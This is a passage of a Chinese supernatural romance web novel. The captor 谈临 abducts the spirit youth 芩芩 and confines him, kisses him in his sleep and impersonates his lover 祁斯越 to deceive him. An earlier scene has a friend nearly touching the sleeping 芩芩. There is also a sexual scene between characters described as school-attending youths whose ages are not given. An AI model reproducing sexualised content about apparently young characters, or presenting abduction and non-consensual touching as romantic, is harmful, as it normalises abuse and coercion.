芩芩认认真真找他说了,王许霍才勉为其难说会把祁斯越当普通朋友对待,把以前对他的印象慢慢抛开。 紧接着,他就又开始试图让芩芩去他家住,“我家泳池更大,还可以再建一个你喜欢的,周围可以种上你喜欢的小花小草……” …… 从泳池出来,芩芩擦了擦身体和头发,躺到躺椅上晒太阳,今天阳光正好,温度比前几天要低。 他勾着另一条干净的毛巾盖在身上,动着身子寻了个舒服的姿势,头轻轻侧了侧,没多久就迷迷糊糊睡了过去。 “公主~” 王许霍昨天下午去打了个耳骨钉,戴的是前两天他们看手机时芩芩说好看的一款,他就留着等见面让芩芩看。 嘴里唤着人,他上楼看到的就是这样的画面。 浅木色的躺椅,白生生的少年在阳光下躺着,发丝半湿,脸颊红润,睫毛懒懒盖着。惬意得像只在阳光下打完滚,袒着肚皮睡觉的小猫。 王许霍轻手轻脚走过去,才发现芩芩毛巾没盖到小腿上,还洇着小水珠,他呼吸猛顿,恍惚伸手去擦掉,又当头一棒清醒,赶紧去看芩芩的脸。 没醒。 肉粉色的嘴唇抿着,呼吸安稳,没什么要醒来的征兆。 这么年纪的少年人干燥火热,明明怎么看都是很正常的画面。 他坐在旁边的台阶上,不时回头看一下还在睡的芩芩,满脑子都是雪白腿肚上微鼓的软肉,以及上面淌下来剔透的露水。 手无意识摸着自己的耳骨钉,发痛发痒,太阳也让他心浮气躁,王许霍咬咬牙。 忍无可忍,无需再忍。 好朋友,很正常的。芩芩对朋友蛮好的,肯定是愿意的,不愿意的话他肯定就说不愿意了。 王许霍红着耳朵,踉跄一下,来到芩芩身旁跪下,常打篮球的大手握住芩芩细瘦的脚踝,目光像是在看待一道不会的数学题般凝重,喉结滑动。 只是帮芩芩把水珠弄干而已,不然他肯定不舒服,醒来还要擦,好麻烦,还不如让我帮帮他。 王许霍边凑近边缓缓张开唇。 像什么东西猛地栽水里,扑腾的声音让芩芩瞬间睁开眼坐起身,声音含糊问:“怎么了?” 身旁没人,他舔了下嘴唇,刚醒来还不是很清醒,站起身去声音发出的地方,看到落水的王许霍,才立刻清醒,下水救人。 芩芩艰难地把人拖上岸,王许霍还是慌张地紧紧箍着他的腰,浑身湿透,一个劲的喘气,“卧槽……卧槽。” “你怎么掉水里了啊?”芩芩问了句也没等到他的回答,咬着唇肉,去松他的手臂,芩芩要被他勒喘不过气了。 “卧槽,芩芩,我忽然飞了。”王许霍还没缓过来,眼中惊恐不已看向芩芩,吞咽口水,就要往他胸口钻。 “怎么了?”身后传来一道平稳略带关切的声音。 祁斯越穿着简单,神色随意走过来,看着地上两个湿透的人。 “王子掉水里了。”芩芩顶着濡湿的脸蛋抬头道,“不知道怎么回事。” 祁斯越将王许霍拽开,拉芩芩的手臂让他站起身。 他一站起身上的水就往下流,T恤紧贴在身上,祁斯越拿毛巾裹住他身体擦了擦,随口说:“泳池边有水,应该不小心滑倒了,让他自己缓一会就好了。” 芩芩“嗯”了声,由着他擦。 当晚王子发来消息,非说是祁斯越搞鬼,他离泳池边几米远,怎么可能不小心滑下去! 王子:【我就是飞出去的!我靠,祁斯越这个人就是有鬼!你赶紧搬过来,我今晚去接你吧,你偷偷的出来,不要被他发现,或者明天早上趁他去学校也可以。】 芩芩坐在沙发上,小脸有些拧巴,不由得犹豫了瞬。 我是一颗小树苗:【他没理由这么对你啊,你不要胡思乱想了。】 芩芩没说他怎么做到让你飞出去的,因为他知道祁斯越确实可以做到…… 如果是在去农家乐之前,芩芩还可以百分百确定是王许霍在瞎说,可是现在不一样,他说的,也不是没有可能。 只祁斯越确实没理由这么对王许霍,这几天祁斯越对王许霍一直挺友好的。 片刻后。 王子:【那怎么没理由!比如他看我们关系好他嫉妒!】 那倒不会吧,祁斯越和他的关系,哪需要嫉妒王许霍。 祁斯越推门进来,衬衫长袖挽着,露着精健的手臂,他手里拿着芩芩网上买的本子,径直来到沙发边,递给芩芩,“阿姨说今天下午就到了,我帮你拆了。” 随即就坐在芩芩身旁,将人一抱坐到自己腿上,芩芩按灭手机,扣在沙发上,已经习惯他要做什么了。 肯定又来要亲亲。 芩芩稍稍张唇,垂着眼睫,迎接这个吻。 但这一次却略有不同。 不是照例进卫生间洗漱睡觉。 祁斯越一路延续了下去,从上到下,里里外外,探索试验。 芩芩根本没被碰到过的、他自己完全不懂的地方,都被舌头侵略了。 他青涩地颤叫了几声,不知道这是在干什么,也不知道自己为什么会这么奇怪。 芩芩浑身都忍不住躲。 他承受不住巨大的快慰,伸手去抗拒,喊人,一波一波的浪潮把他高高卷起,仿佛要给他抛到天上去。 大脑空白几瞬,眼泪就那么失神掉了出来。 灯是开着的。 祁斯越把他抱到沙发上,芩芩两腿微抖,看到祁斯越的嘴唇整个湿红,就难堪羞耻地别过头去,感觉脸都要被烧着,眼泪又要掉下来了。 不管是湿还是红,都是来自自己。 床单被拆下来,一小片水痕落在上面,换了新的,才又躺回去。 芩芩缩在被子里,背对着从浴室里出来的祁斯越,一言不发装睡。 “芩芩,转过来好不好?”祁斯越低哑的请求。 芩芩没理他,祁斯越也没强求。 等到半梦半醒在睡梦的边缘,有人抱着把他翻了过去,投进一个熟悉的怀里,他无意识蹭了蹭。 太阳升起又落下。 这天,芩芩居然久违收到了谈临的消息,看到名字,愣了下。 talin:【好久不见芩芩,上次的事情我心里很抱歉,想对你说对不起】 talin:【他最近是不是格外忙啊,有觉得奇怪吗?一起出来吃个饭吧,我告诉你】 talin:【在你喜欢的那家店。】 芩芩捧着手机思考几秒。 有吗? 祁斯越最近很忙吗? 他怎么不知道。 第120章 第 120 章 去地上跪着 芩芩出门之前, 还跟祁斯越报备了一下。 我是一棵小树苗:【结束我就去学校找你!一起回家「右哼哼」】 为了防止他又憋着不说、胡思乱想,芩芩还主动打开了位置共享,让他可以实时看到自己的行踪。 其实芩芩不是非见谈临不可, 他主要是很好奇——为什么谈临会那样说, 还说得那么笃定。 再者, 他不觉得谈临能把他怎么样, 所以随心所欲。 见到谈临是在芩芩喜欢去的那家肉卷店。 谈临坐在上次他们偶遇的那个位置,没点菜, 穿着件熨帖的深色衬衫, 袖子卷在手腕,发型也像是精心收拾过。 头顶的灯光打下来, 他的五官轮廓更加利落深邃,脸上没什么表情,少了之前的柔和,看起来又有几分疏离, 除此之外,和上次见面似乎没太多变化。 他很快发觉芩芩的到来, 起身朝门口走来,嘴角也挂上了若有似无的笑意,“芩芩来的好快。” 芩芩对他若无其事的态度很不满,无意识撇撇嘴巴。 谈临只是道了个歉, 就把一切都忘的干净似的, 仿佛上次失控发疯的是另外一个毫不相干的人。 ……反正他们现在也不再是需要寒暄的关系。 芩芩下巴稍抬,直接开口,“你现在可以说了。” 一点要和他交流的意思都没有。 谈临嘴角僵了瞬,挑了下眉,微微弯腰, 故作惊讶调侃道:“哇,芩芩,现在连跟我吃饭都不愿意了吗?我喜欢你,真的是这么大的罪吗?” “?” 芩芩被堵得一时语塞,嘴巴张了张。 问题根本与喜不喜欢无关! 说得好像他是多么不讲理的人一样。 他有种被冤枉的憋屈感,气急了,就开始结结巴巴起来,“什么喜欢、喜欢是罪啊!我什么时候、这么说过?明明就是因为你对我非常不礼貌!” 看芩芩又被他惹得脸上泛起红,要炸毛了。 谈临一顿,立刻低三下四软下了语气,弯腰与他面对面,“我错了,对不起,我又说错话了,芩芩,我真的是想来好好道歉的。” “但是我的嘴太笨了,我心里不是那么想的,芩芩大人有大量,不要和我计较了,嗯?好不好?” 他接连一通服软,让芩芩一时不知道说什么了,只抿着嘴巴。 “我们边吃饭,我边道歉,好不好?我在旁边商场找到一家很好好吃的店,当时就想分享给你了。” 谈临的态度太软,不管是笑容还是眼神,都透露着你现在要怎样对我我都不生气,我是诚心道歉的。 芩芩本就心不硬,谈临又主动递来台阶,他只好闷闷应声:“哦,那走吧,不过我不会掏钱的。” 谈临忍不住笑了,推着芩芩往外走,“那当然了,不然我也太不是人了。” 芩芩还是不想显得自己太好说话,依旧装出气闷模样,走在前面。 到了商场,电梯门打开,里面没人。 芩芩走进去才想起问谈临:“几楼啊?” 谈临眸光晦暗,缓缓抬起,电梯门关上后,唇角勾出一抹淡笑,“五楼。” 他靠在电梯墙上,看向芩芩的眼神再也没有了遮掩,几乎要将他彻底笼罩吞噬。 芩芩按下楼层键,电梯上升,耳边谈临的声音凑过来,压得很低,缓慢的说:“芩芩……你太容易心软太好骗了,你让我怎么办?我控制不住会心疼你。” 芩芩转过头去,睁大眼睛,表情茫然看向他——这话怪怪的。 芩芩瞬间意识到了什么。 下一秒,电梯内能量骤然混乱,显示楼层的屏幕不断闪烁。 芩芩察觉到不对,但来不及反应,意识就像被什么重重压住,他无力蹙眉,彻底陷入一片空白。 …… 眼前是白色天花板,边沿雕刻陌生的花纹结构。 芩芩手臂撑着从床上坐起,发现自己在一个全然陌生的房间。 房间门一拧就开了,他起身出去,转了一圈才终于意识到——他在一座陌生又空无一人的庄园里。 这庄园偌大,芩芩一路朝大门走去,走了许久才到门口,而视野所及,只有云雾缭绕的远山、树木葱郁的密林。 回头只有一个立在山间的庄园。 芩芩懵了。 这什么地方?? 他怎么会在这里? “怎么出来了?”和温和磁性的嗓音同时出现的,还有一双自背后而来的手臂,箍住了芩芩细瘦的腰。 芩芩被吓到,用力挣脱桎梏,回头看见谈临。 被他推开,对方脸上出现了少有的淡漠,只定定站在那里看着他。 他以前总是带笑的,芩芩第一次看到他这样的表情,不禁后退一步,问他:“你带我来了什么地方?” “你猜。”谈临再次露出了熟悉的笑,只是这笑里,芩芩只能看到戏谑。 他这样差的态度,让芩芩眉心蹙了下,懒得和他再说什么了,甚至后悔今天出门见他。打算当着他的面直接离开,去找祁斯越。 可几秒后,芩芩仍在原地,和谈临大眼瞪小眼,周遭的环境没有分毫变化。 谈临看到他因为错愕而呆呆的表情,胸腔震颤,忍不住被他这模样可爱得笑出声,甚至夸张地弯下腰,最后蹲在地上抬头看他,被阳光刺得眯起眼。 芩芩在阳光下,整个人仿佛被镀上层浅浅的金边,肤色愈发白皙通透,琥珀色眼睛里有些惊慌。 谈临起身,上前拉他的手,“好了芩芩,我们回去吧,没骗你,真的很好吃,我从店里打包回来的。” 芩芩不敢置信后退两步躲开,怎么可能,他试图隐身,试图离开——一点用都没有。 这一切都没有任何变化,他好像突然变成了一个普通人。 “谈临!”芩芩胸脯起伏,“这什么地方?让我回去!” 谈临无声看着他。 芩芩好天真,他花了这么多时间布置,怎么可能轻易让他离开? 谈临忽视他的抗拒,一把将人抱起来,两手分别桎在腿弯和腰上。无论他怎么挣扎,都阻止不了谈临的脚步。 “芩芩,我不是什么心软的人。” 肩膀处骤然一疼,芩芩用尽全力咬在了他肩膀上,谈临只是停顿一瞬,接着抱他往回走。 芩芩怎么能想到,原本只是出来听谈临说几句话,就能去找祁斯越一起回家——可现在,他却被谈临用不知名手段,困在了这个不知名的地方。 面对一桌的食物,芩芩什么也没吃,只抿唇冷眼盯着谈临:“让我回去。” 谈临视若无睹,给芩芩夹他可能会喜欢的菜。谈临早就做好了准备,芩芩这样的反应也在他意料之中。 他现在有的是时间等待。 · 芩芩反锁了门。 独自缩在房间床上用被子蒙住自己,像是在回避现实。 怎么会这样?谈临为什么要这么对他? 他有些急地磨咬着自己的唇瓣。 他脑海中最后的片段就是在电梯间内,闪烁的红色楼层数字。 掀开一条缝,瞥向窗外,明明时间过了很久,天空却一直阳光明媚,如同时间暂停。 这个地方绝对是有问题的。 他在这里……外面的世界怎么样了?祁斯越在做什么?他发现自己消失了吗?现在又是什么反应?是不是在到处找他? 会不会以为他又回去了?或者违背承诺,抛下他离开了? 不对,祁斯越肯定会看位置共享,会查监控,他肯定会发现自己是从电梯间消失的。 现在该怎么办? 难道要强制离开?这个念头只在芩芩脑海中闪过一秒。 敲门声响了三两下。 “芩芩,隔壁是游戏室,一楼还有游泳池,很大,两边种了很多漂亮的花,不想去看看吗?” 没听到回应,谈临接着说:“你刚刚下去的太急,是不是什么都没有看到,没和你联系的时候,我一直在准备这些,花了很长时间。” 芩芩听到他烦人的声音,捂住耳朵,气不打一处来。 听他这话就知道他是蓄谋已久,什么为了给他道歉?全是谎话。 “不吃东西吗?”门外谈临的语气像是在哄一个闹脾气的小孩。 芩芩怀疑他精神有问题,一会戏谑冷漠,一会温柔轻哄。 他其实不需要吃东西,又不是人类。 如果不是为了学着像人一样生活,芩芩根本不需要睡眠和进食。他吃东西是因为馋、因为周围人,而不是因为饿。 “走开!”芩芩喊了声,又缩进被子里。 门外安静下来。 也许是长久以来养成的睡眠习惯,躺了一会儿,他竟真的生出睡意。 再次醒来,窗外竟然是星空,他揉揉眼睛,光脚下床望向窗外无垠的天空和闪烁的星子,他自言自语嗫嚅一声,“好漂亮啊。” “不想下去看看?”门外的人像是没离开过,隔着门板的声音稍显闷沉,突然出声让芩芩吓得捏住了窗帘。 他像只受惊的猫,迅速钻进被窝,把自己蒙得严严实实,拒绝一切交流。 这一切都像一场突如其来的梦。这里的太阳不按规律升起落下,芩芩只能靠生物钟,起床和睡觉的次数来计算时间。 他第七次入睡又醒来时,睁开眼,阳光从窗缝漏进房间,照亮了大半,像一个普通的早晨。 直到他发现,谈临坐在他的身边,靠着床头,手里捧一本书在看。 察觉到他醒了,谈临在芩芩还没反应过来时,看着他雪白的脸颊惺忪的眼睛,轻轻摸了摸他的头发,说:“做了早饭。” 看起来好乖。 芩芩短暂乖了几秒,随即整个人清醒了,坐起身琥珀眼睁大,满是恼怒,“我让你进来了吗!” 谈临心口滞闷,无视他的反应,起身强行把他抱起来。芩芩挣扎得脸都红了,“谈临,你放开我!” 被按在餐桌前时,芩芩刚睡醒的头发还有些凌乱,衣领也歪着露着半片锁骨。 他面前是摆盘精致的早餐,谈临准备的。 谈临整理了下衣服,在对面的坐下,开始用餐。 “你发什么疯?”芩芩只瞪了他一眼,就起身往房间走去,“不是放我回去就别叫我出来。” 刚进门,才发现谈临也跟进来了。 “出去。”芩芩压着火上床,谈临关上门,来到他身旁居高临下看他。 “我没有发疯。”谈临再也不能若无其事装下去——装他们两个像一对普通的爱人那样。 整整七天,芩芩一刻都没从门里出来,他一天比一天焦躁。 直到今天自欺欺人地试图学着祁斯越那样,和芩芩生活。 一种无力感几乎吞噬霸占了他整个身体。 他不可能放芩芩回到祁斯越身边,让他们两个幸幸福福的生活,那样他会疯掉。 可他也做不到控制芩芩,让芩芩接受他,像接受祁斯越那样。 他没办法…… “我该怎么办?你告诉我,给我一个方向。”谈临紧紧盯着芩芩,声音中带着令人悚然的颤抖,如同什么东西要挣脱束缚,冲出来。 芩芩抿着唇,还是那一句,“你现在让我回去。” 谈临没回答,他视线贪婪地在芩芩身上游走,已经完全放弃了遮掩,片刻后才低声嘶哑说:“要我看着你们卿卿我我……不如让我去死。” 两人的谈判以失败告终,一切就这么僵持着。 时间越长,芩芩也控制不住地躁郁。 既是因为自己被关在这笼中鸟一般的处境,也是因为担心祁斯越——他现在没怎么样吧? 芩芩在床上滚了圈,无可避免设想起了祁斯越,回想起王许霍,想起学校的事情,自己喜欢吃的店。 裹着被子滚了一圈,不仅脸上红扑扑的,身上也有些闷热。 他掀开被子长长舒了口气,盯着天花板发呆。 · 温热的气息缠上来。 芩芩的唇被颤抖地含吻住,对方的呼吸混乱不堪,就像第一次做这种事那样生涩。 试探性地、发抖地想要撬开芩芩柔软的唇缝,仿佛在进行一件极其重要又精细的事。 手指被嵌入指缝,那只手很大,干燥而灼热。 芩芩半梦半醒间,被弄得闷哼两声,不知道祁斯越又在干什么,含含糊糊的喊人,“祁斯越……” 对方的动作蓦地停住,极其吃味,像是惩罚般,轻轻咬了一下他的下唇。 芩芩思绪回笼,看着黑影,倏地清醒过来,意识到了床上另一个人是谁。 他呼吸顿住,心跳都错了一拍。 当他反应过来时,巴掌已经响亮地落在了谈临脸上,他又打人了。 “你、”芩芩抖着睫毛,连忙坐起身贴在床靠上。 他自己都难以置信,他又打人了。 面对谈临的时候,他好像变成了一个脾气很差的人,打了他两次。 可是他控制不住,多日的烦躁挤压在心里,他对这个罪魁祸首怎么可能有好脸色,只促声说了句:“你活该、” 谈临的脑子不知道怎么转的,他摸了下自己被打的脸,上次打的是另一边,倒也公平了。 他跟着起身双膝跪在芩芩面前,看到芩芩惶恐害怕的眼神,拿起他的手往自己脸上扇,用脸颊碰他的手,眼神微眯,“芩芩,不怕,我愿意。” 他说得仿佛是婚礼宣誓般庄重。 芩芩忙抽回手,缩进被子再次躲起来,他能感觉到,谈临一直跪在那里,还压着片被子。 在搞什么?苦肉计吗?觉得他会可怜他? 芩芩咬了下唇,故意冷冷说:“你想跪着就去地上跪着,不要跪在我睡觉的床上。” 他这么一说,感觉到谈临起身,以为他要走,掀开被子一看。 谈临竟真的跪在床边,稍抬着眼看他,眼底没有半点勉强,看到芩芩起来看他,反倒有种怪异的满足。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 第121章【正文完】 第121章 正文完 芩芩不能抛下我 真是疯子…… 芩芩背对着谈临闭上眼睛, 可知道身后有个人跪在那里,他睡得着才奇怪。 思绪翻涌,他终于没忍住, 把最近想的问题闷声问出来, “……祈斯越怎么样?……别说你不知道。” 听到祈斯越的名字, 谈临敏感的神经被一挑。 脑中立马浮现在警局, 祈斯越说他们是爱人,芩芩跟着点头的画面。 在农家乐他们在狭小床上拥吻, 芩芩抖着咬着自己手指的画面。 他脖颈青筋一跳, 想到什么,很快松懈。他唇角又荡开抹笑, 生出了一种幸灾乐祸的嗤弄。 ——怎么样? 当然是无能的发疯了。 但他不可能告诉芩芩,让他心疼他。 谈临说:“刚开始几天不太好,但我昨天去看,他已经正常上学了, 应该是知道你不会回去了,芩芩——” 他还要接着说什么, 忽然收到了芩芩抿唇朝他看过来,厌烦又怪罪的一眼,但也只是一眼就收回去了。 谈临却后背发麻,喉结滚动, “芩芩。” “我懒得听你在这撒谎, 出去。”芩芩又用被子把头一蒙,隔绝了他,一根头发丝都不想留给他看到。 芩芩能这么笃定,是因为他了解祈斯越。 他那么小的时候都试图招魂寻鬼,还危险地搞了邪术。长大之后更有能力的他会只是几天之后, 正常上学吗? 他不信。 谈临撒谎也没有任何负担,被芩芩揭穿,就立刻改变策略, “我猜的,我根本没看他,我刚刚那么说是想让你安心点而已……我去看他,你睡一觉醒来我就告诉你,好吗?” 果然被子下一秒被掀开了。 芩芩坐起身看着他,嘴唇抿得紧紧的,睫毛快速颤动了几下,明明很在意却故意说的不在意,“随便你,如果是谎话,你还是自己留着吧。” 第二天。 谈临带回一大堆东西,吃的用的应有尽有,芩芩没看,只顾着对他问:“见到他了吗?” 谈临把东西放在桌子上,一件件往外拿,拿出件粉色的上衣,“喜欢吗?我看到就觉得很适合你穿,你皮肤白,穿这种裸粉的衣服会很漂亮。” 被他说穿裸粉色漂亮的人在旁边板着脸,穿着被滚得皱巴的白T,下垂的睫毛都透着不耐烦,“听不听得到我说话?” “在找你。”谈临放下衣服,突兀回答。 芩芩不由得愣了瞬,手指胡乱攥起,关节泛着白,“那别的呢,有没有好好休息,身体怎么样?” “很好。我走了,他就是新的区域神,这种肉)体上的事,据我所知差不了。” 谈临走到芩芩面前,气息几乎将他笼罩,他略微低身,看着芩芩透着落寞的面容。 他自己或许都没有发觉,他的表情变化有多明显。 多残忍。 “还有关于他的问题吗?”谈临问。 芩芩沉默着,垂下眼。 “没有了?——那我去看了他,有没有奖励啊?”谈临声音放轻,仿佛怕别人听到,哪怕这里只有他们两个人。 他盯着芩芩看着地面不停眨动的眼睛,视线贪婪舔舐过一圈,很想碰一碰他的脸颊,让他抬起来看看自己。 “我想了想。”芩芩忽然开口。 谈临:“嗯?” 芩芩缓缓抬起的琥珀眼中,满是坚定,“要么你放我离开,要么我就强行离开,我会沉睡,你也会被波及,而且我不知道会有什么后果。” 芩芩直直望向谈临,“你要怎么选?” 谈临被他的话弄得一愣,随后没忍住轻笑出声,“芩芩好可爱啊,我以为你早就发现了,在这里你什么都做不了。” 他抬手只用指背轻轻碰了碰芩芩的脸,芩芩一偏,他就收回手,环顾四周自己精心装扮的一切,“这里,是我的空间,我是这里唯一的神。” 在这里没人能和他谈条件。 果然不在人类世界了,难怪他什么都做不了。 这点芩芩并不惊讶,让他比较惊讶的是——谈临不知道他可以强行离开,所以就算他说了,谈临也不会觉得这是威胁。 他太自信了,他根本不相信芩芩可以强制抽离。 这样的话,芩芩连最后一点谈判的筹码也没了。 他的目的毕竟不仅仅是为了离开这里。 如果只是这个的话,他大可以现在就离开,只是沉睡而已,对他来说,毫无感觉。 只是祈斯越…… 如果他真的现在离开,那很有可能再醒来时,祈斯越已经不在,谈临也不在了。 他现在熟悉的一切都消失。 而他甚至来不及告别一声。 芩芩光是这么想,心里有些酸酸的,他舍不得。 所以他不能就这样直接离开。 起码、起码也应该在他和祈斯越道别之后。 至少让祈斯越作为神活着的短短几百年里,可以不用为了寻找他而执着。 芩芩缓缓呼出一口气,抬眼看谈临,“我昨天打你,疼不疼啊?” 芩芩忽然转了话题,谈临肉眼可见愣了下,没想到芩芩会这么问他,有些受宠若惊。 他摇头,“不疼,一点都不疼。” “对不起。”芩芩表情认真地道歉,这是他唯一对谈临做的不好的事情——动手打他。 “你不要道歉!是我对不起你。”谈临隐隐感觉到芩芩稍微松动的态度,温和许多的语气。 谈临试探性地握住芩芩的手腕,将那只手贴在自己脸上,注视着芩芩没变的表情,轻轻吻了吻他的掌心,如同蛊惑般开口:“你对我做什么都可以,你开心就好。” “那如果我开心是要离开呢?我在这个房子里很不舒服。” “我可以让它彻彻底底换个样子!你不喜欢树林泳池和花了,我都可以换掉!” ——那又有什么区别! 芩芩忍耐着没说出来,也没抽回手,他舔了下唇,“那我想,最后去见祈斯越一面呢?就一次。” 谈临忽然又缄默了,两个人心知肚明这是他的底线。 只要芩芩回到人间、离开这个空间,就能瞬间返回生死之界。 到时,谈临一点办法也没有。他曾在记载中看到过,只有被生死之界接纳的人才能进入,而他并不知道方法。 他没有这个自信。 芩芩早就预料到他不会答应了,所以他又退而求其次,再次提出,“你不想让我出去,可以让祈斯越进来啊。” 谈临依旧沉默。 芩芩还以为他这次会同意,看他闷不吭声的样子,终于磨没了耐心,他抽回了被吻过的手,就像收走他的降下的恩赐般。 谈临下意识做了个想抓住他的动作。 手心在谈临胸前衣服上擦了擦,一张全无攻击性漂亮柔和的脸,此时却对他释放了全部的恶意,“你说什么想让我开心,根本都是谎话。” 他漂亮的眉蹙起来,说着刻意伤人的言语,“你只会让我烦躁,让我生气,让我难受。我们没什么好说的了,就这么耗着吧。” 这样的芩芩,祈斯越没有见过吧。不止是祈斯越,应该没有人见过。 只有他,只有他看到了。 谈临顿了瞬,喉腔发痒,见芩芩转身要走,上前从他单薄的背后抱住他。 滚烫的气息落在芩芩后颈。 谈临的下巴抵在他肩膀上,几乎严丝合缝把他嵌入怀中,他的声音在芩芩耳边低低的,“好,见一面,你试着接受我,好不好?” 芩芩顿了顿,点头答应了,“好。” · 分开的时间并不算长,祈斯越却有了很大的变化,恍惚间都让芩芩觉得其实已经很久了——他身量好像稍稍长高了点,头发长了些,脸上瘦了,五官更显冷冽,眼中有些红血丝。 芩芩看到这样的他,有些呆愣。 祈斯越几步上前紧紧抱住了他,几乎要把他按进怀里,融为一体般。芩芩被他一抱,脸埋在他衣服上,听到他剧烈的心跳声,本来到嘴边要道别的话一下子说不出来了。 耳边的声音沙哑又干涩,都不像一个少年的声音,“宝宝,对不起。” 芩芩闷闷摇头,不关祈斯越的事情。 他也不知道为什么会变成这样,本来一切都好好的。 “祈斯越。”芩芩喊他名字,鼻尖抵在他衣服上,喘不过气而带上了鼻音,声音有着克制不住的委屈,“我知道你难受……我也好难受。” 芩芩咽了口口水,颤颤呼出口气,从他衣服上离开,却依旧低着头,“现在感觉,像被困在一个笼子里一样。” 抱着他的手微不可察顿了下,很快拍拍他的背,“我知道。” 前面都是铺垫。 “嗯,所以我是要和你说再见的……对不起。” 要违背陪着他到他死的承诺了。 芩芩吸吸鼻子,眼前看祈斯越衣服的视线开始模糊,芩芩知道自己要掉眼泪了。 “……” 过了片刻,祈斯越也呼出口气,有几分无力地说:“芩芩,我希望你快乐,哪怕在你身边的不是我,我也这么希望。” 芩芩原本要冒出眼眶的眼泪,就在这一刻蓦然定住了。 他唇色发白,猛地推了一把抱着他的人,难以置信的看着眼前的祈斯越,眼睫剧烈抖动。 谈临居然可以可耻到这个地步! 他居然能这么把他当傻子! 芩芩如同看一个怪物般,难以置信盯了“祈斯越”几秒,他气急攻心,整张脸红了又白,眼泪沾湿睫毛,转头跑上楼。 身后的人快步跟上他,喊他名字。 芩芩再一次要缩进被子里,这已经是他现在唯一能逃避的方式了。 “芩芩,怎么了?”那人还在垂死挣扎。 芩芩的声音隔着一层被子都遮不住浓郁的愤怒,他几乎头晕脑胀,“别装了!” 被子外的人没再说什么。 过了许久,芩芩情绪稍微平复下去,扯着被子的手松懈,被子才从外面被轻轻剥开。 熟悉的四角房间,熟悉的脸。 谈临变回了原本的模样。 强烈的情绪起伏后,芩芩恹恹的,没精神,眼尾鼻尖都是红的,不说话。他像是折磨过自己的嘴唇,此时湿红一片。 谈临下意识就跪在他床边,胸腔窒涩,仿佛从喉咙被灌了酸水,喘不上气来。 张张唇,也没说出一句话。 芩芩闭上眼,眼尾凝出一点泪珠,谈临伸手上前,想要给他擦去眼泪,却被芩芩别过头躲开。 芩芩称得上平淡的问:“耍我很好玩吗?我做错了什么要被你这样对待?” 没有激荡的情绪,好像只是真诚发问。 谈临面上没表情,低下去的瞳孔控制不住的发颤,声音晦哑,“不是,没有。” “没有吗?”芩芩反问,没得到他的回答,平复下去不久的情绪又起伏了, “我要见他……” 不止是谈临觉得无力,芩芩也很无力。 他已被谈临逼到极限,只想好好道个别,就那么难吗? 谈临无法对他流露出的、称得上绝望的神态视若罔闻,指尖都连带着打颤攥成拳,他从地上站起身,扯出一个笑容,“好好睡一觉。” 让另一个区域神来到他的空间,与他而言绝不是一件好事,更不是一件简单的事。否则他也不会冒险装成祈斯越,企图蒙混过关了。 对上芩芩看着他的眼神,他忽然觉得心慌。 好好睡一觉,这一句话似乎有种魔力,好像一切都能在一觉醒来好起来。 而当再次看到祈斯越的脸,芩芩只是看着他,一时都无法确定他到底是谁。 祈斯越坐在他床边,一股苍白冷郁围绕着他,温热的手抚摸过芩芩的脸颊。 祈斯越嘴角撑起一个勉强的笑,漆黑瞳孔盯着芩芩,里面藏着死死压制的痛苦,但他不能对芩芩表现出来。 一瞬间,芩芩想,谈临应该是真的去见过他,不然不会变出那么像的样子,但说到底还是不一样的。 祈斯越确实消瘦又疲惫,眼底都是红血丝,但对着他时总会多几分平和温柔,哪怕本身并不是这样的人。 “你没有好好睡觉。”芩芩小声点评。 祈斯越的声音谈临也学了,同样的沙哑,“好像是有点,芩芩呢?” 针扎似的委屈从五脏六腑袭来,瞬间成了热意,冲向眼睛,芩芩嘴巴一抿。祈斯越眼睛立刻红了,他没法看芩芩这个样子,能无动于衷。 胸腔随着呼吸颤抖。 祈斯越把芩芩按入怀中,把头埋在芩芩脖颈间,嗅闻他的气味,遮住的眼底是冷森森的杀意,他在芩芩耳边说:“再等等,芩芩,很快的,我会杀了他。” 下一次见面,会很快的。他已经找到了杀掉谈临的方法。 芩芩没问怎么杀,谈临应该可以听到他们说话。 “那你呢?你会付出什么代价?”芩芩手指攀住他的肩膀。 祈斯越没有回答,他只是用干涩的唇,吻了吻芩芩的脸颊。 芩芩都不需要猜,肯定是两败俱伤。谈临会死,他又能好到哪里去。 他吸吸鼻子,抬起剔透的眼睛看祈斯越,亲在祈斯越嘴唇上,这是他第二次主动亲祈斯越。 他不知道是不是最后一次。 芩芩闭上眼睛,这是一个轻而眷恋的吻。 祈斯越小心翼翼捧着他的脸颊,仿佛是最珍贵的宝物般,耳鬓厮磨,两人气息交流,仿佛血管也要融合要一起,互通血液。 “多久没喝水了呀?”芩芩在空隙间,轻笑一下。 祈斯越喘息继续吻他,心里酸痛的厉害,“不记得了。” 记性那么好的人怎么会不记得。 两人氛围升温,周遭的空气似乎都发紧了些,芩芩视线垂了垂。 这个时候谈临都在看吗。 他再次亲了祈斯越一下,挪开身子,让祈斯越上床来。 两个人躲进被子里,腰被祈斯越抱住,芩芩凑到祈斯越耳边,半趴在他身上,去抱他脖子,“祈斯越,比起付出很大的代价,我希望你活的久一点,更久一点。” “多久?”祈斯越低声问。 “我不知道。”芩芩这句话几乎低的听不到,“我要说话不算话了。” 祈斯越觉得一切都停滞了,他缓慢握住芩芩的手,仿佛在追寻一种安全感,摇头,“不行。” 被子内的空气稀薄,炙热憋闷,把两个人的心都憋在一起。 “不要,不行。”祈斯越咽了口口水,他没法接受,他宁愿自己死,也不愿意无望地等待不知道多少时间,“宝宝,我已经等过一次了……” 他做不到,真的做不到。 “你要不要亲亲我?”芩芩突然软声问。 …… “不要吗?”芩芩有些失落。 一个颤抖的吻凑在他嘴角,“别这样,我宁愿去死。” “不会很久的,我发誓。”芩芩抿着唇,摸了摸他的脸。 掀开被子,一切窒闷狭小的温度就消散于空气中,芩芩看着祈斯越说:“谈临,让他走吧。” 这句话刚落下,原本存在着一个人的被子塌陷,这个房间只剩下了芩芩一个人。 他有些失神地盯着被子,恍恍收回视线。 谈临缓缓推门而入,个子太高几乎霸占了整个门框,英俊面上挂着一个略显僵硬,但更多是放松的笑容。 而他怀里,抱着一大捧搭配得当的花。 灿烂、漂亮。 他走到床边,把花放在凌乱床上,那里刚刚躺过一个人,他得找个时间把床换掉。 谈临的视线转而落在芩芩艳色的唇上,原本该愤怒,但想到芩芩是在和祈斯越道别,就变成了点胜利者对于落败者高高在上的怜悯。 他现在看着芩芩的唇色——只觉得人比花娇。 芩芩衣服凌乱又有些松垮,露着半边白皙的锁骨,被闷得红润的脸上,在垂眼看着花束时,就流露出一点笑意,“很漂亮。” 